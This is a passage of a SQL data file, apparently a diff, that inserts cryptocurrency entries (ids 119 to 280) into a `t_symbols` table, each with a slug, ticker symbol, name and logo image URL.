`t_symbols` VALUES (119, 'mask-network', 'MASK', 'Mask Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mask-network.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (120, 'wootrade-network', 'WOO', 'WOO Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wootrade-network.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (121, 'baby-doge-coin', 'BABYDOGE', 'Baby Doge Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/baby-doge-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (122, 'maya', 'MAYA', 'Maya Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/maya.png', NULL); +INSERT INTO `t_symbols` VALUES (123, 'ravencoin', 'RVN', 'Ravencoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ravencoin.png', NULL); +INSERT INTO `t_symbols` VALUES (124, 'link', 'LN', 'LINK', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/link.png', NULL); +INSERT INTO `t_symbols` VALUES (125, 'thetafuel', 'TFUEL', 'Theta Fuel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thetafuel.png', NULL); +INSERT INTO `t_symbols` VALUES (126, 'ethereum-name-service', 'ENS', 'Ethereum Name Service', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-name-service.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (127, 'bitcoin-gold', 'BTG', 'Bitcoin Gold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-gold.png', NULL); +INSERT INTO `t_symbols` VALUES (128, 'eur-tether', 'EURT', 'Euro Tether', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eur-tether.png', NULL); +INSERT INTO `t_symbols` VALUES (129, 'olive', 'OLE', 'Olive', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/olive.png', NULL); +INSERT INTO `t_symbols` VALUES (130, 'kusama', 'KSM', 'Kusama', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kusama.png', NULL); +INSERT INTO `t_symbols` VALUES (131, 'swipe', 'SXP', 'Solar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swipe.png', NULL); +INSERT INTO `t_symbols` VALUES (132, 'waves', 'WAVES', 'Waves', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/waves.png', NULL); +INSERT INTO `t_symbols` VALUES (133, 'decred', 'DCR', 'Decred', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decred.png', NULL); +INSERT INTO `t_symbols` VALUES (134, 'iostoken', 'IOST', 'IOST', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iostoken.png', NULL); +INSERT INTO `t_symbols` VALUES (135, 'yearn-finance', 'YFI', 'yearn.finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yearn-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (136, 'threshold-network-token', 'T', 'Threshold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/threshold-network-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (137, 'gala', 'GALA', 'GALA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gala.png', NULL); +INSERT INTO `t_symbols` VALUES (138, 'icon', 'ICX', 'ICON', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/icon.png', NULL); +INSERT INTO `t_symbols` VALUES (139, 'ankr-network', 'ANKR', 'Ankr', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ankr-network.png', NULL); +INSERT INTO `t_symbols` VALUES (140, 'just', 'JST', 'JUST', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/just.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (141, 'iotex', 'IOTX', 'IoTeX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iotex.png', NULL); +INSERT INTO `t_symbols` VALUES (142, 'btse-token', 'BTSE', 'BTSE Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btse-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (143, 'sapphire', 'SAPP', 'Sapphire', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sapphire.png', NULL); +INSERT INTO `t_symbols` VALUES (144, 'golem-network-tokens', 'GLM', 'Golem', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/golem-network-tokens.png', NULL); +INSERT INTO `t_symbols` VALUES (145, 'arweave', 'AR', 'Arweave', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arweave.png', NULL); +INSERT INTO `t_symbols` VALUES (146, 'finnexus', 'FNX', 'FinNexus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/finnexus.png', NULL); +INSERT INTO `t_symbols` VALUES (147, 'balancer', 'BAL', 'Balancer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/balancer.png', NULL); +INSERT INTO `t_symbols` VALUES (148, 'wemix-token', 'WEMIX', 'WEMIX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wemix-token.png', NULL); +INSERT INTO `t_symbols` VALUES (149, 'astar', 'ASTR', 'Astar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/astar.png', NULL); +INSERT INTO `t_symbols` VALUES (150, 'audius', 'AUDIO', 'Audius', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/audius.png', NULL); +INSERT INTO `t_symbols` VALUES (151, 'chia-network', 'XCH', 'Chia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chia-network.png', NULL); +INSERT INTO `t_symbols` VALUES (152, '0x', 'ZRX', '0x', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/0x.png', NULL); +INSERT INTO `t_symbols` VALUES (153, 'nxm', 'NXM', 'Nexus Mutual', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nxm.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (154, 'heliumhnt', 'HNT', 'Helium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/heliumhnt.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (155, 'safepal', 'SFP', 'SafePal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/safepal.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (156, 'aelf', 'ELF', 'aelf', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/aelf.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (157, 'ontology', 'ONT', 'Ontology', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ontology.png', NULL); +INSERT INTO `t_symbols` VALUES (158, 'ecomicollect', 'OMI', 'ECOMI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ecomicollect.png', NULL); +INSERT INTO `t_symbols` VALUES (159, 'siacoin', 'SC', 'Siacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/siacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (160, 'harmony', 'ONE', 'Harmony', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/harmony.png', NULL); +INSERT INTO `t_symbols` VALUES (161, 'aragon', 'ANT', 'Aragon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aragon.png', NULL); +INSERT INTO `t_symbols` VALUES (162, 'band-protocol', 'BAND', 'Band Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/band-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (163, 'cai-token', 'CAI', 'Cai Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cai-token.png', NULL); +INSERT INTO `t_symbols` VALUES (164, 'fetch-ai', 'FET', 'Fetch.ai', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fetch-ai.png', NULL); +INSERT INTO `t_symbols` VALUES (165, 'swissborg', 'CHSB', 'SwissBorg', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swissborg.png', NULL); +INSERT INTO `t_symbols` VALUES (166, 'educare', 'EKT', 'EDUCare', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/educare.png', NULL); +INSERT INTO `t_symbols` VALUES (167, 'blox', 'CDT', 'Blox', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blox.jpg', NULL); +INSERT INTO `t_symbols` VALUES (168, 'ocean-protocol', 'OCEAN', 'Ocean Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/765e20e91cad0d6a15c3f99ffdc4242e.jpg', NULL); +INSERT INTO `t_symbols` VALUES (169, 'joe', 'JOE', 'JOE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/joe.png', NULL); +INSERT INTO `t_symbols` VALUES (170, 'green-metaverse', 'GMT', 'STEPN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/green-metaverse.png', NULL); +INSERT INTO `t_symbols` VALUES (171, 'kadena', 'KDA', 'Kadena', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/kadena.png', NULL); +INSERT INTO `t_symbols` VALUES (172, 'stasis-eurs', 'EURS', 'STASIS EURO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/stasis-eurs.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (173, 'sushi', 'SUSHI', 'Sushi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sushi.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (174, 'moonbeam', 'GLMR', 'Moonbeam', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moonbeam.png', NULL); +INSERT INTO `t_symbols` VALUES (175, 'biconomy', 'BICO', 'Biconomy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/biconomy.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (176, 'zelcash', 'FLUX', 'Flux', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zelcash.png', NULL); +INSERT INTO `t_symbols` VALUES (177, 'ssv-network', 'SSV', 'SSV Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ssv-network.png', NULL); +INSERT INTO `t_symbols` VALUES (178, 'tribe-2', 'TRIBE', 'Tribe', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tribe-2.png', NULL); +INSERT INTO `t_symbols` VALUES (179, 'bora-ecosystem', 'BORA', 'BORA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bora-ecosystem.png', NULL); +INSERT INTO `t_symbols` VALUES (180, 'synapse', 'SYN', 'Synapse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/synapse.png', NULL); +INSERT INTO `t_symbols` VALUES (181, 'tomochain', 'TOMO', 'TomoChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tomochain.png', NULL); +INSERT INTO `t_symbols` VALUES (182, 'kuende', 'KUE', 'Kuende', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kuende.png', NULL); +INSERT INTO `t_symbols` VALUES (183, 'hive', 'HIVE', 'Hive', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hive.png', NULL); +INSERT INTO `t_symbols` VALUES (184, 'amp-token', 'AMP', 'Amp', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/amp-token.png', NULL); +INSERT INTO `t_symbols` VALUES (185, 'terra-luna-v2', 'LUNA', 'Terra', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/terra-luna-v2.png', NULL); +INSERT INTO `t_symbols` VALUES (186, 'terrausd', 'USTC', 'TerraClassicUSD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/terrausd.png', NULL); +INSERT INTO `t_symbols` VALUES (187, 'uma', 'UMA', 'UMA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uma.png', NULL); +INSERT INTO `t_symbols` VALUES (188, 'polymath-network', 'POLY', 'Polymath', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polymath-network.png', NULL); +INSERT INTO `t_symbols` VALUES (189, 'livepeer', 'LPT', 'Livepeer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/livepeer.png', NULL); +INSERT INTO `t_symbols` VALUES (190, 'lisk', 'LSK', 'Lisk', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lisk.png', NULL); +INSERT INTO `t_symbols` VALUES (191, 'ton-crystal', 'EVER', 'Everscale', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ton-crystal.png', NULL); +INSERT INTO `t_symbols` VALUES (192, 'skale', 'SKL', 'SKALE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skale.png', NULL); +INSERT INTO `t_symbols` VALUES (193, 'wax', 'WAXP', 'WAX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wax.png', NULL); +INSERT INTO `t_symbols` VALUES (194, 'rlc', 'RLC', 'iExec RLC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rlc.png', NULL); +INSERT INTO `t_symbols` VALUES (195, 'parkgene', 'GENE', 'Parkgene', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/parkgene.png', NULL); +INSERT INTO `t_symbols` VALUES (196, 'digibyte', 'DGB', 'DigiByte', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digibyte.png', NULL); +INSERT INTO `t_symbols` VALUES (197, 'dao-maker', 'DAO', 'DAO Maker', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dao-maker.png', NULL); +INSERT INTO `t_symbols` VALUES (198, 'open-campus', 'EDU', 'Open Campus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/open-campus.png', NULL); +INSERT INTO `t_symbols` VALUES (199, 'cocos-bcx', 'COCOS', 'COCOS BCX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cocos-bcx.png', NULL); +INSERT INTO `t_symbols` VALUES (200, 'alchemy-pay', 'ACH', 'Alchemy Pay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alchemy-pay.png', NULL); +INSERT INTO `t_symbols` VALUES (201, 'ribbon-finance', 'RBN', 'Ribbon Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ribbon-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (202, 'keep-network', 'KEEP', 'Keep Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/keep-network.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (203, 'rsk', 'RBTC', 'Rootstock RSK', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rsk.jpg', NULL); +INSERT INTO `t_symbols` VALUES (204, 'rakon', 'RKN', 'Rakon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rakon.png', NULL); +INSERT INTO `t_symbols` VALUES (205, 'nucypher', 'NU', 'NuCypher', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/nucypher.png', NULL); +INSERT INTO `t_symbols` VALUES (206, 'coinextoken', 'CET', 'CoinEx', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinextoken.png', NULL); +INSERT INTO `t_symbols` VALUES (207, 'pathhive', 'PHV', 'PATHHIVE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pathhive.png', NULL); +INSERT INTO `t_symbols` VALUES (208, 'telcoin', 'TEL', 'Telcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/telcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (209, 'reserve-protocol', 'RSR', 'Reserve Rights', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/e405995612c6a280603e0e9187aa6190.jpg', NULL); +INSERT INTO `t_symbols` VALUES (210, 'cartesi', 'CTSI', 'Cartesi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cartesi.png', NULL); +INSERT INTO `t_symbols` VALUES (211, 'omisego', 'OMG', 'OMG Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/omisego.png', NULL); +INSERT INTO `t_symbols` VALUES (212, 'nervos', 'CKB', 'Nervos Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/nervos.png', NULL); +INSERT INTO `t_symbols` VALUES (213, 'zencash', 'ZEN', 'Horizen', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zencash.png', NULL); +INSERT INTO `t_symbols` VALUES (214, 'bitrise-token', 'BRISE', 'Bitgert', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitrise-token.png', NULL); +INSERT INTO `t_symbols` VALUES (215, 'constellation', 'DAG', 'Constellation', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/constellation.png', NULL); +INSERT INTO `t_symbols` VALUES (216, 'dogelon-mars', 'ELON', 'Dogelon Mars', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dogelon-mars.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (217, 'neutrino', 'USDN', 'Neutrino USD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neutrino.png', NULL); +INSERT INTO `t_symbols` VALUES (218, 'celer-network', 'CELR', 'Celer Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/celer-network.png', NULL); +INSERT INTO `t_symbols` VALUES (219, 'rif', 'RIF', 'RSK Infrastructure Framework', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rif.png', NULL); +INSERT INTO `t_symbols` VALUES (220, 'pundi-x-2', 'PUNDIX', 'Pundi X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pundi-x-2.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (221, 'abbc-foundation', 'ABBC', 'ABBC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alibabacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (222, 'nano', 'XNO', 'Nano', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nano.png', NULL); +INSERT INTO `t_symbols` VALUES (223, 'origintrail', 'TRAC', 'OriginTrail', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/origintrail.png', NULL); +INSERT INTO `t_symbols` VALUES (224, 'syscoin', 'SYS', 'Syscoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/syscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (225, 'bitclout', 'DESO', 'Decentralized Social', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitclout.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (226, 'space-id', 'ID', 'SPACE ID', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/space-id.png', NULL); +INSERT INTO `t_symbols` VALUES (227, 'illuvium', 'ILV', 'Illuvium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/illuvium.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (228, 'status', 'SNT', 'Status', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/status.png', NULL); +INSERT INTO `t_symbols` VALUES (229, 'metal', 'MTL', 'Metal DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/metal.png', NULL); +INSERT INTO `t_symbols` VALUES (230, 'platoncoin', 'PLTC', 'PlatonCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/platoncoin.png', NULL); +INSERT INTO `t_symbols` VALUES (231, 'metis-token', 'METIS', 'Metis', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/metis-token.png', NULL); +INSERT INTO `t_symbols` VALUES (232, 'alpha-finance', 'ALPHA', 'Alpha Venture DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alpha-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (233, 'apenft', 'NFT', 'APENFT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apenft.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (234, 'playdapp', 'PLA', 'PlayDapp', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/playdapp.png', NULL); +INSERT INTO `t_symbols` VALUES (235, 'milkalliance', 'MLK', 'MiL.k Alliance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/milkalliance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (236, 'liquity', 'LQTY', 'Liquity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/liquity.png', NULL); +INSERT INTO `t_symbols` VALUES (237, 'wrapped-centrifuge', 'WCFG', 'Wrapped Centrifuge', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wrapped-centrifuge.png', NULL); +INSERT INTO `t_symbols` VALUES (238, 'vulcan-forged', 'PYR', 'Vulcan Forged PYR', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vulcan-forged.png', NULL); +INSERT INTO `t_symbols` VALUES (239, 'wrapped-nxm', 'WNXM', 'Wrapped NXM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wrapped-nxm.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (240, 'stargate-finance', 'STG', 'Stargate Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stargate-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (241, 'energy-web-token', 'EWT', 'Energy Web Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/energy-web-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (242, 'ergo', 'ERG', 'Ergo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/ergoplatformorg.jpg', NULL); +INSERT INTO `t_symbols` VALUES (243, 'bty', 'BTY', 'Bityuan', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bty.png', NULL); +INSERT INTO `t_symbols` VALUES (244, 'numeraire', 'NMR', 'Numeraire', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/numeraire.png', NULL); +INSERT INTO `t_symbols` VALUES (245, 'radicle', 'RAD', 'Radicle', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/radicle.png', NULL); +INSERT INTO `t_symbols` VALUES (246, 'maidsafecoin', 'EMAID', 'MaidSafeCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/maidsafecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (247, 'api3', 'API3', 'API3', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/api3.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (248, 'dexe', 'DEXE', 'DeXe', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dexe.png', NULL); +INSERT INTO `t_symbols` VALUES (249, 'legolas-exchange', 'LGO', 'LGO Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/legolas-exchange.jpg', NULL); +INSERT INTO `t_symbols` VALUES (250, 'medibloc', 'MED', 'MediBloc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/medibloc.png', NULL); +INSERT INTO `t_symbols` VALUES (251, 'shardus', 'ULT', 'Shardus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shardus.png', NULL); +INSERT INTO `t_symbols` VALUES (252, 'nym', 'NYM', 'NYM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nym.png', NULL); +INSERT INTO `t_symbols` VALUES (253, 'prometeus', 'PROM', 'Prom', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/prometeus.png', NULL); +INSERT INTO `t_symbols` VALUES (254, 'statera', 'STA', 'Statera', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/statera.png', NULL); +INSERT INTO `t_symbols` VALUES (255, 'dent', 'DENT', 'Dent', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dent.png', NULL); +INSERT INTO `t_symbols` VALUES (256, 'ontology-gas', 'ONG', 'Ontology Gas', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ontology-gas.png', NULL); +INSERT INTO `t_symbols` VALUES (257, 'zeon', 'ZEON', 'ZEON Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zeon.jpg', NULL); +INSERT INTO `t_symbols` VALUES (258, 'steem', 'STEEM', 'Steem', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/steem.png', NULL); +INSERT INTO `t_symbols` VALUES (259, 'arpa-chain', 'ARPA', 'ARPA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arpa.png', NULL); +INSERT INTO `t_symbols` VALUES (260, 'chromia', 'CHR', 'Chromia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/d9875ce3cc365821560227f4e48969a6.png', NULL); +INSERT INTO `t_symbols` VALUES (261, 'braintrust', 'BTRST', 'Braintrust', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/braintrust.png', NULL); +INSERT INTO `t_symbols` VALUES (262, 'ardor', 'ARDR', 'Ardor', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ardor.png', NULL); +INSERT INTO `t_symbols` VALUES (263, 'lido-staked-sol', 'STSOL', 'Lido Staked SOL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lido-staked-sol.png', NULL); +INSERT INTO `t_symbols` VALUES (264, 'mass-vehicle-ledger', 'MVL', 'MVL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mass-vehicle-ledger.jpg', NULL); +INSERT INTO `t_symbols` VALUES (265, 'small-love-potion', 'SLP', 'Smooth Love Potion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/small-love-potion.png', NULL); +INSERT INTO `t_symbols` VALUES (266, 'nest', 'NEST', 'Nest Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nest.png', NULL); +INSERT INTO `t_symbols` VALUES (267, 'civic', 'CVC', 'Civic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/civic.png', NULL); +INSERT INTO `t_symbols` VALUES (268, 'ampleforth', 'AMPL', 'Ampleforth', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/1539905ab02f248a828390a7cf25b4d9.jpg', NULL); +INSERT INTO `t_symbols` VALUES (269, 'linear', 'LINA', 'Linear Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/linear.png', NULL); +INSERT INTO `t_symbols` VALUES (270, 'standardtokenizationprotocol', 'STPT', 'STP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/standardtokenizationprotocol.png', NULL); +INSERT INTO `t_symbols` VALUES (271, 'orbs', 'ORBS', 'Orbs', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/orbs.png', NULL); +INSERT INTO `t_symbols` VALUES (272, 'dkargo', 'DKA', 'dKargo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dkargo.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (273, 'constitutiondao', 'PEOPLE', 'ConstitutionDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/constitutiondao.png', NULL); +INSERT INTO `t_symbols` VALUES (274, 'hashflow', 'HFT', 'Hashflow', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investment/hashflow-rect5l8WOfEj9YvnU.jpg', NULL); +INSERT INTO `t_symbols` VALUES (275, 'multichain', 'MULTI', 'Multichain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/multichain.png', NULL); +INSERT INTO `t_symbols` VALUES (276, 'secret', 'SCRT', 'Secret', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/secret.png', NULL); +INSERT INTO `t_symbols` VALUES (277, 'experience-points', 'XP', 'XP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/experience-points.png', NULL); +INSERT INTO `t_symbols` VALUES (278, 'wink', 'WIN', 'WINkLink', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/wink.png', NULL); +INSERT INTO `t_symbols` VALUES (279, 'stratis', 'STRAX', 'Stratis', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stratis.png', NULL); +INSERT INTO `t_symbols` VALUES (280, 'republic-protocol', 'REN', 'REN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/republic-protocol.png', NULL); +INSERT 